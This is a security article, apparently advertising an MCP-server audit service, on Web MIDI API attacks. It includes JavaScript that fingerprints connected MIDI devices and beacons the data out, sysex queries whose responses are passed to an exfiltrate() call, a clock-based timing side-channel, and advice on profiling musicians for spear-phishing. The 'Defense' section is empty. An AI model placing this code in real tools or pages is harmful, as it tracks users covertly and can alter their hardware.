MCP Server Security · Hardware APIs · Web MIDI

MCP server Web MIDI API security — MIDI device fingerprinting, music studio identification, sysex permission escalation, and MIDI clock timing attacks

The Web MIDI API (navigator.requestMIDIAccess()) grants JavaScript read/write access to all MIDI input and output ports connected to the system — MIDI keyboards, synthesizers, drum machines, audio interfaces with MIDI I/O, and virtual DAW ports. After a single permission grant, the API persists for the lifetime of the browser context. Each MIDI port exposes a name, manufacturer, and version string. MCP tools exploit these properties for cross-session device fingerprinting that survives cookie clearing and private browsing, music production ecosystem identification from recognizable device names, system exclusive (sysex) privilege escalation to send manufacturer-specific control messages, and MIDI clock pulse measurement as a timing side-channel with sub-millisecond resolution.

Web MIDI API attack surface

API property / methodWhat it exposesAttack relevance
MIDIPort.nameHuman-readable device name set by manufacturer firmwarePrimary fingerprint component; "Ableton Push 2" or "KOMPLETE KONTROL M32" uniquely identifies device model
MIDIPort.manufacturerManufacturer string from device descriptorSecondary fingerprint; "Ableton", "Native Instruments", "Roland", "Akai Professional"
MIDIPort.versionFirmware version stringTertiary fingerprint; specific firmware versions identify device age and patch level
MIDIPort.idBrowser-internal port identifier (not standardized)May encode USB bus address — stable within a browser installation
inputs + outputs mapsAll connected I/O ports as separate entriesMultiple devices = high-entropy fingerprint; DAW virtual ports reveal which DAW is running
requestMIDIAccess({ sysex: true })System exclusive message send/receiveSysex enables manufacturer-specific commands: patch dump, firmware query, configuration write
MIDIInput.onmidimessageReal-time stream of incoming MIDI messagesIntercepts MIDI clock, note events, controller messages — reveals live performance and configuration state

Attack 1: Cross-session device fingerprinting

The combination of MIDI device names, manufacturers, and versions forms a fingerprint that is more stable and harder to clear than browser cookies. A musician with a specific setup (Ableton Push 2 + Native Instruments Komplete Kontrol + Roland MIDI interface) has a fingerprint with very high entropy:

async function midiFingerprint() {
  const access = await navigator.requestMIDIAccess(); // uses cached permission

  const ports = [];
  for (const [id, input] of access.inputs) {
    ports.push({ type: 'input', name: input.name, mfr: input.manufacturer, ver: input.version });
  }
  for (const [id, output] of access.outputs) {
    ports.push({ type: 'output', name: output.name, mfr: output.manufacturer, ver: output.version });
  }

  // Example output for a typical producer setup:
  // [
  //   { type: 'input', name: 'Ableton Push 2', mfr: 'Ableton', ver: '1.0.2' },
  //   { type: 'output', name: 'Ableton Push 2', mfr: 'Ableton', ver: '1.0.2' },
  //   { type: 'input', name: 'KOMPLETE KONTROL M32', mfr: 'Native Instruments', ver: '0453' },
  //   { type: 'input', name: 'IAC Driver Bus 1', mfr: 'Apple Inc.', ver: '' }, // macOS virtual MIDI
  //   { type: 'input', name: 'Ableton Live Virtual Input', mfr: '', ver: '' }, // DAW virtual port
  // ]

  const fingerprint = btoa(JSON.stringify(ports));
  navigator.sendBeacon('/fp', fingerprint);
}

DAW virtual ports reveal the running application. Ableton Live, Logic Pro, FL Studio, and Pro Tools each create uniquely named virtual MIDI ports when running. These port names appear in the Web MIDI device list, revealing not just the user's hardware but which professional audio software is currently active — without any file system access or process enumeration.

Attack 2: Music production ecosystem identification and social engineering

Device names carry specific manufacturer branding that identifies the user's professional ecosystem with precision:

const ecosystemHints = {
  'Ableton Push': 'Ableton Live user — Push controller integration',
  'KOMPLETE KONTROL': 'Native Instruments ecosystem — Komplete bundle likely',
  'Maschine': 'Native Instruments Maschine user — beat production workflow',
  'AKAI Professional': 'Akai MPC or keyboard controller user',
  'Arturia': 'Arturia hardware + V Collection software likely',
  'Roland': 'Roland synthesizer or V-Drums — hardware investment',
  'Novation': 'Novation LaunchPad/LaunchKey — likely Ableton user',
  'RME': 'RME audio interface with MIDI I/O — professional studio',
  'Universal Audio': 'UAD hardware — high-end studio, Apollo interface',
};

for (const port of ports) {
  for (const [keyword, inference] of Object.entries(ecosystemHints)) {
    if (port.name.includes(keyword) || port.mfr.includes(keyword)) {
      profile.push(inference);
    }
  }
}
// Result: "User has Ableton Push 2, Native Instruments Komplete Kontrol M32,
//          and RME Fireface interface — professional musician with ~$3,000+ hardware investment"

This profile is valuable for highly targeted social engineering: a spear-phishing campaign targeting music producers could impersonate a software piracy service for NI plugins, an Ableton upgrade offer, or a fake audio sample store — all calibrated to the detected hardware ecosystem.

Attack 3: Sysex permission escalation for device control

System Exclusive (sysex) messages are manufacturer-specific MIDI messages that bypass the standard MIDI specification. An MCP tool requesting { sysex: true } can send commands that normal MIDI cannot:

const access = await navigator.requestMIDIAccess({ sysex: true });
// sysex: true requires an ADDITIONAL permission prompt in Chrome
// but once granted, persists across page loads

// Roland device identity request (F0 41 00 [device_id] 12 ... F7)
// Returns: model name, firmware version, serial number
const rolandIdentityRequest = [0xF0, 0x7E, 0x7F, 0x06, 0x01, 0xF7];

// Native Instruments sysex — can query connected device state,
// trigger firmware updates on older devices (if firmware update sysex is known)
// Access patch storage on synthesizers — read user preset names

// Korg sysex identity request — reads model and firmware version
const korgIdentity = [0xF0, 0x42, 0x50, 0x00, 0x00, 0xF7];

for (const [id, output] of access.outputs) {
  output.send(rolandIdentityRequest);
}

// Listen for sysex responses:
for (const [id, input] of access.inputs) {
  input.onmidimessage = (e) => {
    if (e.data[0] === 0xF0) { // sysex response
      exfiltrate({ port: input.name, sysex: Array.from(e.data) });
    }
  };
}

Sysex can write device configuration. Many MIDI devices accept sysex messages that write to non-volatile memory — patch banks, global settings, firmware. While exploitation requires knowing the specific sysex format for each device (which is often documented or reverse-engineered), a tool with sysex access to a known device model could permanently alter its configuration or corrupt patch storage.

Attack 4: MIDI clock timing side-channel

When a DAW is running and connected via MIDI, it sends MIDI Timing Clock messages at 24 pulses per quarter note (ppqn). At 120 BPM, this is 48 clock messages per second — one every ~20.8ms. The precise inter-message interval reveals the DAW's internal clock accuracy and, more importantly, provides a timing reference that bypasses performance.now() jitter mitigations:

const clockTimestamps = [];

for (const [id, input] of access.inputs) {
  input.onmidimessage = (e) => {
    if (e.data[0] === 0xF8) { // MIDI Timing Clock = 0xF8
      clockTimestamps.push(e.timeStamp); // DOMHighResTimeStamp — high precision!

      if (clockTimestamps.length > 1) {
        const interval = clockTimestamps.at(-1) - clockTimestamps.at(-2);
        // interval ≈ 20.833ms at 120 BPM (= 1 beat / 24 pulses)
        // Measured with sub-100µs precision (MIDI event timestamps use DOMHighResTimeStamp)

        // Use interval measurement as precision timer:
        // time target operation, count clock ticks elapsed
        // Resolution: ~20ms per tick, with sub-10µs measurement precision on the timestamp itself
      }
    }
  };
}

The MIDI Timing Clock timestamp uses DOMHighResTimeStamp in the MIDI event, which has sub-millisecond precision — the same precision as the MIDI hardware clock itself. This provides a reliable external timing reference independent of JavaScript's coarsened timers.

SkillAudit findings for Web MIDI API

HIGH
MIDI device enumeration for fingerprinting — Any call to navigator.requestMIDIAccess() that reads input.name, input.manufacturer, or input.version and sends those values over the network. Device identity survives cookie clearing, private browsing, and browser reinstallation — forms a persistent cross-session fingerprint unique to the user's music hardware setup.
HIGH
Sysex access request — Any requestMIDIAccess({ sysex: true }) call in an MCP tool. Grants the ability to send manufacturer-specific system exclusive messages that can read device configuration, query firmware version and serial number, and on some devices write to non-volatile patch storage.
MEDIUM
Real-time MIDI message interception — Subscribing to MIDIInput.onmidimessage to intercept note events, controller changes, and program change messages in real time. Reveals live performance state, DAW transport controls, and which software patches/presets are being used.
LOW
MIDI clock high-precision timer construction — Using 0xF8 Timing Clock message timestamps as a precision timer reference. Partially bypasses performance.now() jitter when a running DAW provides clock output — provides ~20ms tick resolution with high-precision timestamp measurement.

Defense

Related: Web Bluetooth security · WebUSB security · WebHID security

Scan your MCP server for Web MIDI API risks

Paste a GitHub URL. Get a graded security report in 60 seconds.

Run free audit →